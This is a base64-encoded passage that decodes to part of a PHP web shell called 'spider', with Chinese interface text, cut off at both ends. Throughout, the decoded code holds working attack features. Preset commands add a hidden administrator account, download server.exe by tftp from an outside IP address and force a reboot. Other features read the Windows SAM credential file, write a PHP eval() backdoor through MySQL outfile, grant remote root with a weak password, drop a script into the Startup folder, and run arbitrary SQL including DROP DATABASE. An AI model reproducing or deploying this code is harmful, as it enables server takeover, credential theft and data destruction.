0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKXskaW5mb3RtcCAuPSAkcm93WyRrXTskaysrO30NCgkJCQkJJGluZm8gPSAkaW5mb3RtcDsNCgkJCQkJJE1TR19CT1ggPSAn1rTQ0LPJuaYnOw0KCQkJCX0NCgkJCQllbHNlICRNU0dfQk9YID0gJ9a00NDKp7DcJzsNCgkJCX0NCgkJfQ0KCQllbHNlICRNU0dfQk9YID0gJ8GsvdNNWVNRTMqnsNwnOw0KCX0NCnByaW50PDw8RU5EDQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIEZ1bGxtKGkpew0KCVN0ciA9IG5ldyBBcnJheSgxMSk7DQoJU3RyWzBdID0gInZlciI7DQoJU3RyWzFdID0gIm5ldCB1c2VyIHNwaWRlciBzcGlkZXIgL2FkZCI7DQoJU3RyWzJdID0gIm5ldCBsb2NhbGdyb3VwIGFkbWluaXN0cmF0b3JzIHNwaWRlciAvYWRkIjsNCglTdHJbM10gPSAibmV0IHN0YXJ0IFRlcm1pbmFsIFNlcnZpY2VzIjsNCglTdHJbNF0gPSAibmV0c3RhdCAtYW4iOw0KCVN0cls1XSA9ICJpcGNvbmZpZyI7DQoJU3RyWzZdID0gIm5ldCB1c2VyIGd1ZXN0IC9hY3RpdmU6eWVzIjsNCglTdHJbN10gPSAiY29weSBjOlxcXFwxLnBocCBkOlxcXFwyLnBocCI7DQoJU3RyWzhdID0gInRmdHAgLWkgMjE5LjEzNC40Ni4yNDUgZ2V0IHNlcnZlci5leGUgYzpcXFxcc2VydmVyLmV4ZSI7DQoJU3RyWzldID0gIm5ldCBzdGFydCB0ZWxuZXQiOw0KCVN0clsxMF0gPSAic2h1dGRvd24gLXIgLXQgMCI7DQoJbWZvcm0uc3FsY21kLnZhbHVlID0gU3RyW2ldOw0KCXJldHVybiB0cnVlOw0KfQ0KPC9zY3JpcHQ+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im1mb3JtIiBpZD0ibWZvcm0iIGFjdGlvbj0iP3M9bSI+DQo8ZGl2IGlkPSJtc2dib3giIGNsYXNzPSJtc2dib3giPnskTVNHX0JPWH08L2Rpdj4NCjxjZW50ZXI+PGRpdiBjbGFzcz0iYWN0YWxsIj4NCrXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1ob3N0IiB2YWx1ZT0ieyRtaG9zdH0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+DQq2y7/aIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcG9ydCIgdmFsdWU9InskbXBvcnR9IiBzdHlsZT0id2lkdGg6MTEwcHgiPg0K08O7pyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXVzZXIiIHZhbHVlPSJ7JG11c2VyfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4NCsPcwusgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wYXNzIiB2YWx1ZT0ieyRtcGFzc30iIHN0eWxlPSJ3aWR0aDoxMTBweCI+DQq/4sP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZGF0YSIgdmFsdWU9InskbWRhdGF9IiBzdHlsZT0id2lkdGg6MTEwcHgiPg0KPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj4NCr/JvNPU2MK3vrYgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wYXRoIiB2YWx1ZT0ieyRtcGF0aH0iIHN0eWxlPSJ3aWR0aDo1NTVweCI+IA0KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ib3V0ZGxsIiB2YWx1ZT0isLLXsERMTCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+sLLXsLPJuaa687/J08MgPGJyPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxjbWQiIHZhbHVlPSJ7JHNxbGNtZH0iIHN0eWxlPSJ3aWR0aDo1MTVweDsiPg0KPHNlbGVjdCBvbmNoYW5nZT0icmV0dXJuIEZ1bGxtKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4NCjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPi0tw/zB7ryvus8tLTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMSI+zO2807ncwO3UsTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMiI+yejOqrncwO3X6Twvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMyI+v6rG9NS2s8zXwMPmPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0Ij6y6b+0tsu/2jwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSI+sum/tElQPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI2Ij68pLvuZ3Vlc3TVyrunPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI3Ij64tNbGzsS8/jwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iOCI+ZnRwz8LU2Dwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iOSI+v6rG9HRlbG5ldDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTAiPtbYxvQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0icnVuY21kIiB2YWx1ZT0i1rTQ0CIgc3R5bGU9IndpZHRoOjgwcHg7Ij4NCjx0ZXh0YXJlYSBzdHlsZT0id2lkdGg6NzIwcHg7aGVpZ2h0OjMwMHB4OyI+eyRpbmZvfTwvdGV4dGFyZWE+DQo8L2Rpdj48L2NlbnRlcj4NCjwvZm9ybT4NCkVORDsNCglyZXR1cm4gdHJ1ZTsNCn0NCg0KZnVuY3Rpb24gTXlzcWxfbigpDQp7DQoJJE1TR19CT1ggPSAnJzsNCgkkbWhvc3QgPSAnbG9jYWxob3N0JzsgJG11c2VyID0gJ3Jvb3QnOyAkbXBvcnQgPSAnMzMwNic7ICRtcGFzcyA9ICcnOyAkbWRhdGEgPSAnbXlzcWwnOyAkbXNxbCA9ICdzZWxlY3QgdmVyc2lvbigpOyc7DQoJaWYoaXNzZXQoJF9QT1NUWydtaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ211c2VyJ10pKQ0KCXsNCgkJJG1ob3N0ID0gJF9QT1NUWydtaG9zdCddOyAkbXVzZXIgPSAkX1BPU1RbJ211c2VyJ107ICRtcGFzcyA9ICRfUE9TVFsnbXBhc3MnXTsgJG1kYXRhID0gJF9QT1NUWydtZGF0YSddOyAkbXBvcnQgPSAkX1BPU1RbJ21wb3J0J107DQoJCWlmKCRjb25uID0gbXlzcWxfY29ubmVjdCgkbWhvc3QuJzonLiRtcG9ydCwkbXVzZXIsJG1wYXNzKSkgQG15c3FsX3NlbGVjdF9kYigkbWRhdGEpOw0KCQllbHNlICRNU0dfQk9YID0gJ8GsvdNNWVNRTMqnsNwnOw0KCX0NCgkkZG93bmZpbGUgPSAnYzovd2luZG93cy9yZXBhaXIvc2FtJzsNCglpZighZW1wdHkoJF9QT1NUWydkb3duZmlsZSddKSkNCgl7DQoJCSRkb3duZmlsZSA9IEZpbGVfU3RyKCRfUE9TVFsnZG93bmZpbGUnXSk7DQoJCSRiaW5wYXRoID0gYmluMmhleCgkZG93bmZpbGUpOw0KCQkkcXVlcnkgPSAnc2VsZWN0IGxvYWRfZmlsZSgweCcuJGJpbnBhdGguJyknOw0KCQlpZigkcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikpDQoJCXsNCgkJCSRrID0gMDsgJGRvd25jb2RlID0gJyc7DQoJCQl3aGlsZSgkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKXskZG93bmNvZGUgLj0gJHJvd1ska107JGsrKzt9DQoJCQkkZmlsZWRvd24gPSBiYXNlbmFtZSgkZG93bmZpbGUpOw0KCQkJaWYoISRmaWxlZG93bikgJGZpbGVkb3duID0gJ3NwaWRlci50bXAnOw0KCQkJJGFycmF5ID0gZXhwbG9kZSgnLicsICRmaWxlZG93bik7DQoJCQkkYXJyYXllbmQgPSBhcnJheV9wb3AoJGFycmF5KTsNCgkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGFycmF5ZW5kKTsNCgkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWRvd24pOw0KCQkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5zdHJsZW4oJGRvd25jb2RlKSk7DQoJCQllY2hvICRkb3duY29kZTsNCgkJCWV4aXQ7DQoJCX0NCgkJZWxzZSAkTVNHX0JPWCA9ICfPwtTYzsS8/sqnsNwnOw0KCX0NCgkkbyA9IGlzc2V0KCRfR0VUWydvJ10pID8gJF9HRVRbJ28nXSA6ICcnOw0KCVJvb3RfQ1NTKCk7DQpwcmludDw8PEVORA0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJuZm9ybSIgaWQ9Im5mb3JtIiBhY3Rpb249Ij9zPW4mbz17JG99IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCjxjZW50ZXI+PGRpdiBjbGFzcz0iYWN0YWxsIj48YSBocmVmPSI/cz1uIj5bTVlTUUzWtNDQ0+++5F08L2E+IA0KPGEgaHJlZj0iP3M9biZvPXUiPltNWVNRTMnPtKvOxLz+XTwvYT4gDQo8YSBocmVmPSI/cz1uJm89ZCI+W01ZU1FMz8LU2M7EvP5dPC9hPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj4NCrXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1ob3N0IiB2YWx1ZT0ieyRtaG9zdH0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+DQq2y7/aIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcG9ydCIgdmFsdWU9InskbXBvcnR9IiBzdHlsZT0id2lkdGg6MTEwcHgiPg0K08O7pyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXVzZXIiIHZhbHVlPSJ7JG11c2VyfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4NCsPcwusgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wYXNzIiB2YWx1ZT0ieyRtcGFzc30iIHN0eWxlPSJ3aWR0aDoxMTBweCI+DQq/4sP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZGF0YSIgdmFsdWU9InskbWRhdGF9IiBzdHlsZT0id2lkdGg6MTEwcHgiPg0KPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MjIwcHg7Ij4NCkVORDsNCmlmKCRvID09ICd1JykNCnsNCgkkdXBwYXRoID0gJ0M6L0RvY3VtZW50cyBhbmQgU2V0dGluZ3MvQWxsIFVzZXJzL6G4v6rKvKG5ssu1pS+zzNDyL8b0tq8vZXhwLnZicyc7DQoJaWYoIWVtcHR5KCRfUE9TVFsndXBwYXRoJ10pKQ0KCXsNCgkJJHVwcGF0aCA9ICRfUE9TVFsndXBwYXRoJ107DQoJCSRxdWVyeSA9ICdDcmVhdGUgVEFCTEUgYSAoY21kIHRleHQgTk9UIE5VTEwpOyc7DQoJCWlmKEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pKQ0KCQl7DQoJCQlpZigkdG1wY29kZSA9IEZpbGVfUmVhZCgkX0ZJTEVTWyd1cGZpbGUnXVsndG1wX25hbWUnXSkpeyRmaWxlY29kZSA9IGJpbjJoZXgoRmlsZV9SZWFkKCR0bXBjb2RlKSk7fQ0KCQkJZWxzZXskdG1wID0gRmlsZV9TdHIoZGlybmFtZShfX0ZJTEVfXykpLicvdXBmaWxlLnRtcCc7aWYoRmlsZV9VcCgkX0ZJTEVTWyd1cGZpbGUnXVsndG1wX25hbWUnXSwkdG1wKSl7JGZpbGVjb2RlID0gYmluMmhleChGaWxlX1JlYWQoJHRtcCkpO0B1bmxpbmsoJHRtcCk7fX0NCgkJCSRxdWVyeSA9ICdJbnNlcnQgSU5UTyBhIChjbWQpIFZBTFVFUyhDT05WRVJUKDB4Jy4kZmlsZWNvZGUuJyxDSEFSKSk7JzsNCgkJCWlmKEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pKQ0KCQkJew0KCQkJCSRxdWVyeSA9ICdTRUxFQ1QgY21kIEZST00gYSBJTlRPIERVTVBGSUxFIFwnJy4kdXBwYXRoLidcJzsnOw0KCQkJCSRNU0dfQk9YID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikgPyAnyc+0q87EvP6zybmmJyA6ICfJz7SrzsS8/sqnsNwnOw0KCQkJfQ0KCQkJZWxzZSAkTVNHX0JPWCA9ICey5cjrwdnKsbHtyqew3Cc7DQoJCQlAbXlzcWxfcXVlcnkoJ0Ryb3AgVEFCTEUgSUYgRVhJU1RTIGE7JywkY29ubik7DQoJCX0NCgkJZWxzZSAkTVNHX0JPWCA9ICe0tL2owdnKsbHtyqew3Cc7DQoJfQ0KcHJpbnQ8PDxFTkQNCjxicj48YnI+yc+0q8K3vrYgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVwcGF0aCIgdmFsdWU9InskdXBwYXRofSIgc3R5bGU9IndpZHRoOjUwMHB4Ij4NCjxicj48YnI+0aHU8c7EvP4gPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwZmlsZSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDoyMnB4OyI+DQo8L2Rpdj48ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLJz7SrIiBzdHlsZT0id2lkdGg6ODBweDsiPg0KRU5EOw0KfQ0KZWxzZWlmKCRvID09ICdkJykNCnsNCnByaW50PDw8RU5EDQo8YnI+PGJyPjxicj7PwtTYzsS8/iA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZG93bmZpbGUiIHZhbHVlPSJ7JGRvd25maWxlfSIgc3R5bGU9IndpZHRoOjUwMHB4Ij4NCjwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Is/C1NgiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+DQpFTkQ7DQp9DQplbHNlDQp7DQoJaWYoIWVtcHR5KCRfUE9TVFsnbXNxbCddKSkNCgl7DQoJCSRtc3FsID0gJF9QT1NUWydtc3FsJ107DQoJCWlmKCRyZXN1bHQgPSBAbXlzcWxfcXVlcnkoJG1zcWwsJGNvbm4pKQ0KCQl7DQoJCQkkTVNHX0JPWCA9ICfWtNDQU1FM0+++5LPJuaY8YnI+JzsNCgkJCSRrID0gMDsNCgkJCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRNU0dfQk9YIC49ICRyb3dbJGtdOyRrKys7fQ0KCQl9DQoJCWVsc2UgJE1TR19CT1ggLj0gbXlzcWxfZXJyb3IoKTsNCgl9DQpwcmludDw8PEVORA0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBuRnVsbChpKXsNCglTdHIgPSBuZXcgQXJyYXkoMTEpOw0KCVN0clswXSA9ICJzZWxlY3QgdmVyc2lvbigpOyI7DQoJU3RyWzFdID0gInNlbGVjdCBsb2FkX2ZpbGUoMHg2MzNBNUM1Qzc3Njk2RTY0NkY3NzczNUM3Mzc5NzM3NDY1NkQzMzMyNUM1QzY5NkU2NTc0NzM3Mjc2NUM1QzZENjU3NDYxNjI2MTczNjUyRTc4NkQ2QykgRlJPTSB1c2VyIGludG8gb3V0ZmlsZSAnRDovd2ViL2lpcy50eHQnIjsNCglTdHJbMl0gPSAic2VsZWN0ICc8P3BocCBldmFsKFwkX1BPU1RbY21kXSk7Pz4nIGludG8gb3V0ZmlsZSAnRjovd2ViL2Jhay5waHAnOyI7DQoJU3RyWzNdID0gIkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OICouKiBUTyAncm9vdCdAJyUnIElERU5USUZJRUQgQlkgJzEyMzQ1NicgV0lUSCBHUkFOVCBPUFRJT047IjsNCgluZm9ybS5tc3FsLnZhbHVlID0gU3RyW2ldOw0KCXJldHVybiB0cnVlOw0KfQ0KPC9zY3JpcHQ+DQo8dGV4dGFyZWEgbmFtZT0ibXNxbCIgc3R5bGU9IndpZHRoOjcwMHB4O2hlaWdodDoyMDBweDsiPnskbXNxbH08L3RleHRhcmVhPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj4NCjxzZWxlY3Qgb25jaGFuZ2U9InJldHVybiBuRnVsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSI+DQoJPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+z9TKvrDmsb48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIxIj61vLP2zsS8/jwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjIiPtC0yOvOxLz+PC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMyI+v6rG9M3iwaw8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ita00NAiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+DQpFTkQ7DQp9DQoJaWYoJE1TR19CT1ggIT0gJycpIGVjaG8gJzwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+Jy4kTVNHX0JPWC4nPC9kaXY+PC9jZW50ZXI+PC9mb3JtPic7DQoJZWxzZSBlY2hvICc8L2Rpdj48L2NlbnRlcj48L2Zvcm0+JzsNCglyZXR1cm4gdHJ1ZTsNCn0NCg0KLy9NWVNRTLncwO0NCg0KZnVuY3Rpb24gTXlzcWxfTGVuKCRkYXRhLCRsZW4pDQp7DQoJaWYoc3RybGVuKCRkYXRhKSA8ICRsZW4pIHJldHVybiAkZGF0YTsNCglyZXR1cm4gc3Vic3RyX3JlcGxhY2UoJGRhdGEsJy4uLicsJGxlbik7DQp9DQoNCmZ1bmN0aW9uIE15c3FsX01zZygpDQp7DQoJJGNvbm4gPSBAbXlzcWxfY29ubmVjdCgkX0NPT0tJRVsnbV9zcGlkZXJob3N0J10uJzonLiRfQ09PS0lFWydtX3NwaWRlcnBvcnQnXSwkX0NPT0tJRVsnbV9zcGlkZXJ1c2VyJ10sJF9DT09LSUVbJ21fc3BpZGVycGFzcyddKTsNCglpZigkY29ubikNCgl7DQpwcmludDw8PEVORA0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBEZWxvayhtc2csZ291cmwpDQp7DQoJc21zZyA9ICLIt7ao0qrJvrP9WyIgKyB1bmVzY2FwZShtc2cpICsgIl3C8D8iOw0KCWlmKGNvbmZpcm0oc21zZykpe3dpbmRvdy5sb2NhdGlvbiA9IGdvdXJsO30NCn0NCmZ1bmN0aW9uIENyZWF0ZW9rKGFjKQ0Kew0KCWlmKGFjID09ICdhJykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25zcWwnKS52YWx1ZSA9ICdDUkVBVEUgVEFCTEUgbmFtZSAoc3BpZGVyIEJMT0IpOyc7DQoJaWYoYWMgPT0gJ2InKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnNxbCcpLnZhbHVlID0gJ0NSRUFURSBEQVRBQkFTRSBuYW1lOyc7DQoJaWYoYWMgPT0gJ2MnKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnNxbCcpLnZhbHVlID0gJ0RST1AgREFUQUJBU0UgbmFtZTsnOw0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg0KRU5EOw0KCQkkQk9PTCA9IGZhbHNlOw0KCQkkTVNHX0JPWCA9ICfTw7unOicuJF9DT09LSUVbJ21fc3BpZGVydXNlciddLicgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ILXY1rc6Jy4kX0NPT0tJRVsnbV9zcGlkZXJob3N0J10uJzonLiRfQ09PS0lFWydtX3NwaWRlcnBvcnQnXS4nICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyCw5rG+Oic7DQoJCSRrID0gMDsNCgkJJHJlc3VsdCA9IEBteXNxbF9xdWVyeSgnc2VsZWN0IHZlcnNpb24oKTsnLCRjb25uKTsNCgkJd2hpbGUoJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSl7JE1TR19CT1ggLj0gJHJvd1ska107JGsrKzt9DQoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+IMr9vt2/4jonOw0KCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgREFUQUJBU0VTIiwkY29ubik7DQoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKXtlY2hvICcmbmJzcDsmbmJzcDtbPGEgaHJlZj0iP3M9ciZkYj0nLiRkYlsnRGF0YWJhc2UnXS4nIj4nLiRkYlsnRGF0YWJhc2UnXS4nPC9hPl0nO30NCgkJZWNobyAnPC9kaXY+JzsNCgkJaWYoaXNzZXQoJF9HRVRbJ2RiJ10pKQ0KCQl7DQoJCQlteXNxbF9zZWxlY3RfZGIoJF9HRVRbJ2RiJ10sJGNvbm4pOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnbnNxbCddKSl7JEJPT0wgPSB0cnVlOyAkTVNHX0JPWCA9IG15c3FsX3F1ZXJ5KCRfUE9TVFsnbnNxbCddLCRjb25uKSA/ICfWtNDQs8m5picgOiAn1rTQ0MqnsNwgJy5teXNxbF9lcnJvcigpO30NCgkJCWlmKGlzX2FycmF5KCRfUE9TVFsnaW5zcWwnXSkpDQoJCQl7DQoJCQkJJHF1ZXJ5ID0gJ0lOU0VSVCBJTlRPICcuJF9HRVRbJ3RhYmxlJ10uJyAoJzsNCgkJCQlmb3JlYWNoKCRfUE9TVFsnaW5zcWwnXSBhcyAkdmFyID0+ICRrZXkpDQoJCQkJew0KCQkJCQkkcXVlcnlhIC49ICR2YXIuJywnOw0KCQkJCQkkcXVlcnliIC49ICdcJycuYWRkc2xhc2hlcygka2V5KS4nXCcsJzsNCgkJCQl9DQoJCQkJJHF1ZXJ5ID0gJHF1ZXJ5LnN1YnN0cigkcXVlcnlhLCAwLCAtMSkuJykgVkFMVUVTICgnLnN1YnN0cigkcXVlcnliLCAwLCAtMSkuJyk7JzsNCgkJCQkkTVNHX0JPWCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikgPyAnzO2807PJuaYnIDogJ8ztvNPKp7DcICcubXlzcWxfZXJyb3IoKTsNCgkJCX0NCgkJCWlmKGlzX2FycmF5KCRfUE9TVFsndXBzcWwnXSkpDQoJCQl7DQoJCQkJJHF1ZXJ5ID0gJ1VQREFURSAnLiRfR0VUWyd0YWJsZSddLicgU0VUICc7DQoJCQkJZm9yZWFjaCgkX1BPU1RbJ3Vwc3FsJ10gYXMgJHZhciA9PiAka2V5KQ0KCQkJCXsNCgkJCQkJJHF1ZXJ5YiAuPSAkdmFyLic9XCcnLmFkZHNsYXNoZXMoJGtleSkuJ1wnLCc7DQoJCQkJfQ0KCQkJCSRxdWVyeSA9ICRxdWVyeS5zdWJzdHIoJHF1ZXJ5YiwgMCwgLTEpLicgJy5iYXNlNjRfZGVjb2RlKCRfUE9TVFsnd2hlcmV2YXInXSkuJzsnOw0KCQkJCSRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSA/ICfQ3rjEs8m5picgOiAn0N64xMqnsNwgJy5teXNxbF9lcnJvcigpOw0KCQkJfQ0KCQkJaWYoaXNzZXQoJF9HRVRbJ2RlbCddKSkNCgkJCXsNCgkJCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kX0dFVFsndGFibGUnXS4nIExJTUlUICcuJF9HRVRbJ2RlbCddLicsIDE7JywkY29ubik7DQoJCQkJJGdvb2QgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsNCgkJCQkkcXVlcnkgPSAnREVMRVRFIEZST00gJy4kX0dFVFsndGFibGUnXS4nIFdIRVJFICc7DQoJCQkJZm9yZWFjaCgkZ29vZCBhcyAkdmFyID0+ICRrZXkpeyRxdWVyeWMgLj0gJHZhci4nPVwnJy5hZGRzbGFzaGVzKCRrZXkpLidcJyBBTkQgJzt9DQoJCQkJJHdoZXJlID0gJHF1ZXJ5LnN1YnN0cigkcXVlcnljLCAwLCAtNCkuJzsnOw0KCQkJCSRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHdoZXJlLCRjb25uKSA/ICfJvrP9s8m5picgOiAnyb6z/cqnsNwgJy5teXNxbF9lcnJvcigpOw0KCQkJfQ0KCQkJJGFjdGlvbiA9ICc/cz1yJmRiPScuJF9HRVRbJ2RiJ107DQoJCQlpZihpc3NldCgkX0dFVFsnZHJvcCddKSl7JHF1ZXJ5ID0gJ0Ryb3AgVEFCTEUgSUYgRVhJU1RTICcuJF9HRVRbJ2Ryb3AnXS4nOyc7JE1TR19CT1ggPSBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pID8gJ8m+s/2zybmmJyA6ICfJvrP9yqew3CAnLm15c3FsX2Vycm9yKCk7fQ0KCQkJaWYoaXNzZXQoJF9HRVRbJ3RhYmxlJ10pKXskYWN0aW9uIC49ICcmdGFibGU9Jy4kX0dFVFsndGFibGUnXTtpZihpc3NldCgkX0dFVFsnZWRpdCddKSkgJGFjdGlvbiAuPSAnJmVkaXQ9Jy4kX0dFVFsnZWRpdCddO30NCgkJCWlmKGlzc2V0KCRfR0VUWydpbnNlcnQnXSkpICRhY3Rpb24gLj0gJyZpbnNlcnQ9Jy4kX0dFVFsnaW5zZXJ0J107DQoJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSInLiRhY3Rpb24uJyI+JzsNCgkJCWVjaG8gJzx0ZXh0YXJlYSBuYW1lPSJuc3FsIiBpZD0ibnNxbCIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDo1MHB4OyI+Jy4kX1BPU1RbJ25zcWwnXS4nPC90ZXh0YXJlYT4gJzsNCgkJCWVjaG8gJzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InF1ZXJ5c3FsIiB2YWx1ZT0i1rTQ0CIgc3R5bGU9IndpZHRoOjYwcHg7aGVpZ2h0OjQ5cHg7Ij4gJzsNCgkJCWVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK0tL2ose0iIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdhXCcpIj4gJzsNCgkJCWVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK0tL2ov+IiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdiXCcpIj4gJzsNCgkJCWVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLJvrP9v+IiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdjXCcpIj48L2Zvcm0+PC9kaXY+JzsNCgkJCWVjaG8gJzxkaXYgY2xhc3M9Im1zZ2JveCIgc3R5bGU9ImhlaWdodDo0MHB4OyI+Jy4kTVNHX0JPWC4nPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj48YSBocmVmPSI/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyI+Jy4kX0dFVFsnZGInXS4nPC9hPiAtLS0+ICc7DQoJCQlpZihpc3NldCgkX0dFVFsndGFibGUnXSkpDQoJCQl7DQoJCQkJZWNobyAnPGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsndGFibGUnXS4nIj4nLiRfR0VUWyd0YWJsZSddLic8L2E+ICc7DQoJCQkJZWNobyAnWzxhIGhyZWY9Ij9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJmluc2VydD0nLiRfR0VUWyd0YWJsZSddLiciPrLlyOs8L2E+XTwvZGl2Pic7DQoJCQkJaWYoaXNzZXQoJF9HRVRbJ2VkaXQnXSkpDQoJCQkJew0KCQkJCQlpZihpc3NldCgkX0dFVFsncCddKSkgJGF0YWJsZSA9ICRfR0VUWyd0YWJsZSddLicmcD0nLiRfR0VUWydwJ107IGVsc2UgJGF0YWJsZSA9ICRfR0VUWyd0YWJsZSddOw0KCQkJCQllY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kYXRhYmxlLiciPic7DQoJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWyd0YWJsZSddLicgTElNSVQgJy4kX0dFVFsnZWRpdCddLicsIDE7JywkY29ubik7DQoJCQkJCSRnb29kID0gbXlz